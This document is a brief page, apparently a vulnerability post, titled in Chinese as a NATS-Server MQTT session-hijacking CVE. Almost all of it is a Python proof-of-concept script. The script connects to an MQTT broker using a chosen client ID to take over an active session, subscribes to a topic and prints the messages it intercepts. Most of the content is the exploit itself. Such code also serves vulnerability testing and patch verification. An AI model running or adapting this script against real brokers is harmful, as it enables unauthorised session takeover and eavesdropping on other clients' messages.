CVE-2026-33215 NATS-Server MQTT会话劫持漏洞

import paho.mqtt.client as mqtt # Conceptual PoC for CVE-2026-33215: NATS MQTT Session Hijacking # This script attempts to connect to the broker using a specific Client ID. # If the server is vulnerable and the ID is active, the session may be hijacked. TARGET_IP = "127.0.0.1" TARGET_PORT = 1883 HIJACK_CLIENT_ID = "target_session_id" def on_connect(client, userdata, flags, rc): if rc == 0: print(f"[+] Connected with ID: {HIJACK_CLIENT_ID}") print("[+] Potential session hijack successful.") else: print(f"[-] Connection failed with code: {rc}") def on_message(client, userdata, msg): # Print intercepted messages print(f"[Intercepted] Topic: {msg.topic}, Message: {msg.payload.decode()}") client = mqtt.Client(client_id=HIJACK_CLIENT_ID, protocol=mqtt.MQTTv311) client.on_connect = on_connect client.on_message = on_message try: client.connect(TARGET_IP, TARGET_PORT, 60) # Subscribe to a topic to verify message reception client.subscribe("vulnerable/topic") client.loop_forever() except Exception as e: print(f"Error: {e}")